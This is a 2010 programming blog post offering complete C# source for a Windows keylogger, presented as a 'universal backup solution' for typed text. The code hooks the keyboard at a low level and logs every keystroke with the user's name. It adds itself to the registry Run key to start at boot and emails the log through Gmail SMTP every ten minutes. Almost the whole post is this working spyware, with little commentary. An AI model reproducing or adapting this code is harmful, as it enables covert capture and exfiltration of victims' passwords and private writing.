ASP.net , C#, and VB.net , and Java, and SQL

coding and testing

博客园 首页 新随笔 联系 订阅 管理

I am always interested in about how to use  technology to do meaningful thing or just only for funny.

The main goal is to create a "universal backup  solution" for everything you type. 

through this project you will know how to get in win32 dll. I was stupid don't know it.

project alway has business with the win or linx(operation system).


some open source one have more function reference to http://sourceforge.net/apps/mediawiki/pykeylogger/index.php?title=Main_Page

below is console project of csharp.

 

using System;

using System.Diagnostics;

using System.Timers;

using System.Windows.Forms;

using System.Runtime.InteropServices;

using System.IO;

using System.Net;

using System.Net.Mail;

using Microsoft.Win32;

using System.Threading;

using System.Text;

using System.Security.Principal;



namespace keyloggercsharp

{

    class appstart 

    {


        public static string path = "C:/record" + DateTime.Now.ToShortDateString() + ".txt";

        public static byte caps = 0, shift = 0;


        public static void startup()

        {

            //Regedit -->Startup 


            RegistryKey rkApp = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);


            if (rkApp.GetValue("Appname") == null)

            {

                rkApp.SetValue("Appname", Application.ExecutablePath.ToString());

            }

            rkApp.Close();//dispose of the key

        }


                public static void OnTimedEvent(object source, EventArgs e)

        {

            System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); //create the message

            msg.To.Add("username@gmail.com");

            msg.To.Add("another.optional.address.to.send.to@domain.com");

            msg.From = new MailAddress("username@gmail.com", "nickname", System.Text.Encoding.UTF8);

            msg.Subject = "whatever.you.want.to.be.in.the.message.subject";

            msg.SubjectEncoding = System.Text.Encoding.UTF8;

            msg.Body = "whatever.you.want.to.be.in.the.message.body";

            msg.BodyEncoding = System.Text.Encoding.UTF8;

            msg.IsBodyHtml = false;

            msg.Priority = MailPriority.High;


            SmtpClient client = new SmtpClient(); //Network Credentials for Gmail

            client.Credentials = new System.Net.NetworkCredential("username@gmail.com", "gmail.password");

            client.Port = 587;

            client.Host = "smtp.gmail.com";

            client.EnableSsl = true;


            Attachment data = new Attachment(appstart.path);

            msg.Attachments.Add(data);


            try

            {

                client.Send(msg);

            }

            catch

            {

                data.Dispose();

            }

            


            data.Dispose();

            File.WriteAllText(appstart.path, ""); //empties the file

        }

    }

        class InterceptKeys

{

    private const int WH_KEYBOARD_LL = 13;

    private const int WM_KEYDOWN = 0x0100;

    private static LowLevelKeyboardProc _proc = HookCallback;

    private static IntPtr _hookID = IntPtr.Zero;


    [SerializableAttribute()]

    enum Format

    {

        NameUnknown = 0,

        NameFullyQualifiedDN = 1,

        NameSamCompatible = 2,

        NameDisplay = 3,

        NameUniqueId = 6,

        NameCanonical = 7,

        NameUserPrincipal = 8,

        NameCanonicalEx = 9,

        NameServicePrincipal = 10

    }

    const int ERROR_NO_MORE_ITEMS = 259;

    const int ERROR_MORE_DATA = 234;


    [DllImport("secur32", CharSet = CharSet.Unicode, SetLastError = true)]

    static extern int GetUserNameEx

    (int format, // return format specifier

    StringBuilder nameBuffer, // return name buffer

    ref int nSize // required/actual size

    );



    public static void Main()

    {

        

        StreamWriter sw = File.AppendText(appstart.path);

        AppDomain currentDomain = Thread.GetDomain();

        currentDomain.SetPrincipalPolicy(PrincipalPolicy.WindowsPrincipal);

        WindowsIdentity wi = WindowsIdentity.GetCurrent();

        //Put the previous identity into a principal object.

        WindowsPrincipal MyPrincipal = new WindowsPrincipal(wi);

        //Principal values.

        string Name = MyPrincipal.Identity.Name;

        IPrincipal caller = Thread.CurrentPrincipal;

        sw.Write("-" + Name + " - " + caller.Identity.IsAuthenticated + " - Loging time" + DateTime.Now.ToShortTimeString() + ":");

        //sw.Write("Token:" + wi.Token);

        ////---------------------------------------

        //int nSize = 0;

        //StringBuilder gun = new StringBuilder();

        //// Get all name formats; except 0 (makes no sense) and 10 (only for Windows services)

        //for (int f = (int)Format.NameFullyQualifiedDN; f <= (int)Format.NameCanonicalEx; f++)

        //{

        //    int ret = GetUserNameEx(f, gun, ref nSize);

        //    gun = new StringBuilder(nSize * 2);

        //    if (ret != 0)

        //    { // Success

        //        sw.Write("----------------- format {0} -----------------------", f);

        //        if (Marshal.GetLastWin32Error() == ERROR_MORE_DATA) // But more data available than can fit in buffer

        //        {

        //            ret = GetUserNameEx(f, gun, ref nSize);

        //            sw.Write(gun.ToString());

        //        }

        //        else

        //            sw.Write(Marshal.GetLastWin32Error());


        //    }

        //}


        sw.Close();

        _hookID = SetHook(_proc);

        appstart.startup();

        System.Timers.Timer timer;

        timer = new System.Timers.Timer();

        timer.Elapsed += new ElapsedEventHandler(appstart.OnTimedEvent);

        timer.AutoReset = true;

        timer.Interval = 600000;

        timer.Start(); 

        Application.Run();

        GC.KeepAlive(timer);

        UnhookWindowsHookEx(_hookID);




    }

         

    private static IntPtr SetHook(LowLevelKeyboardProc proc)

    {

        using (Process curProcess = Process.GetCurrentProcess())

        using (ProcessModule curModule = curProcess.MainModule)

        {

            return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);

        }

    }


    private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);


    private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)

    {

        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)

        {

            StreamWriter sw = File.AppendText(appstart.path);


            int vkCode = Marshal.ReadInt32(lParam);


            if (Keys.Shift == Control.ModifierKeys) appstart.shift = 1;


            switch ((Keys)vkCode)

            {

                case Keys.Space:

                    sw.Write(" ");

                    break;

                case Keys.Return:

                    sw.WriteLine("");

                    break;

                case Keys.Back:

                    sw.Write("back");

                    break;

                case Keys.Tab:

                    sw.Write(" TAB ");

                    break;

                case Keys.D0:

                    if (appstart.shift == 0) sw.Write("0");

                    else sw.Write(")");

                    break;

                case Keys.D1:

                    if (appstart.shift == 0) sw.Write("1");

                    else sw.Write("!");

                    break;

                case Keys.D2:

                    if (appstart.shift == 0) sw.Write("2");

                    else sw.Write("@");

                    break;

                case Keys.D3:

                    if (appstart.shift == 0) sw.Write("3");

                    else sw.Write("#");

                    break;

                case Keys.D4:

                    if (appstart.shift == 0) sw.Write("4");

                    else sw.Write("$");

                    break;

                case Keys.D5:

                    if (appstart.shift == 0) sw.Write("5");

                    else sw.Write("%");

                    break;

                case Keys.D6:

                    if (appstart.shift == 0) sw.Write("6");

                    else sw.Write("^");

                    break;

                case Keys.D7:

                    if (appstart.shift == 0) sw.Write("7");

                    else sw.Write("&");

                    break;

                case Keys.D8:

                    if (appstart.shift == 0) sw.Write("8");

                    else sw.Write("*");

                    break;

                case Keys.D9:

                    if (appstart.shift == 0) sw.Write("9");

                    else sw.Write("(");

                    break;


                case Keys.LShiftKey:

                case Keys.RShiftKey:

                case Keys.LControlKey:

                case Keys.RControlKey:

                case Keys.LMenu:

                case Keys.RMenu:

                case Keys.LWin:

                case Keys.RWin:

                case Keys.Delete:

                case Keys.Apps:

                    {

                        sw.Write("");

                    }

                    break;

                case Keys.OemQuestion:

                    if (appstart.shift == 0) sw.Write("/");

                    else sw.Write("?");

                    break;

                case Keys.OemOpenBrackets:

                    if (appstart.shift == 0) sw.Write("[");

                    else sw.Write("{");

                    break;

                case Keys.OemCloseBrackets:

                    if (appstart.shift == 0) sw.Write("]");

                    else sw.Write("}");

                    break;

                case Keys.Oem1:

                    if (appstart.shift == 0) sw.Write(";");

                    else sw.Write(":");

                    break;

                case Keys.Oem7:

                    if (appstart.shift == 0) sw.Write("'");

                    else sw.Write('"');

                    break;

                case Keys.Oemcomma:

                    if (appstart.shift == 0) sw.Write(",");

                    else sw.Write("<");

                    break;

                case Keys.OemPeriod:

                    if (appstart.shift == 0) sw.Write(".");

                    else sw.Write(">");

                    break;

                case Keys.OemMinus:

                    if (appstart.shift == 0) sw.Write("-");

                    else sw.Write("_");

                    break;

                case Keys.Oemplus:

                    if (appstart.shift == 0) sw.Write("=");

                    else sw.Write("+");

                    break;

                case Keys.Oemtilde:

                    if (appstart.shift == 0) sw.Write("`");

                    else sw.Write("~");

                    break;

                case Keys.Oem5:

                    sw.Write("|");

                    break;


                case Keys.Capital:

                    {

                        if (appstart.caps == 0) appstart.caps = 1;

                        else appstart.caps = 0;

                    }

                    break;

                default:

                    {

                        if (appstart.shift == 0 && appstart.caps == 0) sw.Write(((Keys)vkCode).ToString().ToLower());

                        if (appstart.shift == 1 && appstart.caps == 0) sw.Write(((Keys)vkCode).ToString().ToUpper());

                        if (appstart.shift == 0 && appstart.caps == 1) sw.Write(((Keys)vkCode).ToString().ToUpper());

                        if (appstart.shift == 1 && appstart.caps == 1) sw.Write(((Keys)vkCode).ToString().ToLower());

                    }

                    break;

            }     

            

            appstart.shift = 0;

            sw.Close();

        }

        return CallNextHookEx(_hookID, nCode, wParam, lParam);

    }

    

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

    private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);


    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

    [return: MarshalAs(UnmanagedType.Bool)]

    private static extern bool UnhookWindowsHookEx(IntPtr hhk);


    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);


    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]

    private static extern IntPtr GetModuleHandle(string lpModuleName);

}

}

posted on 2010-04-27 23:40  mr liao  阅读(351)  评论(0编辑  收藏  举报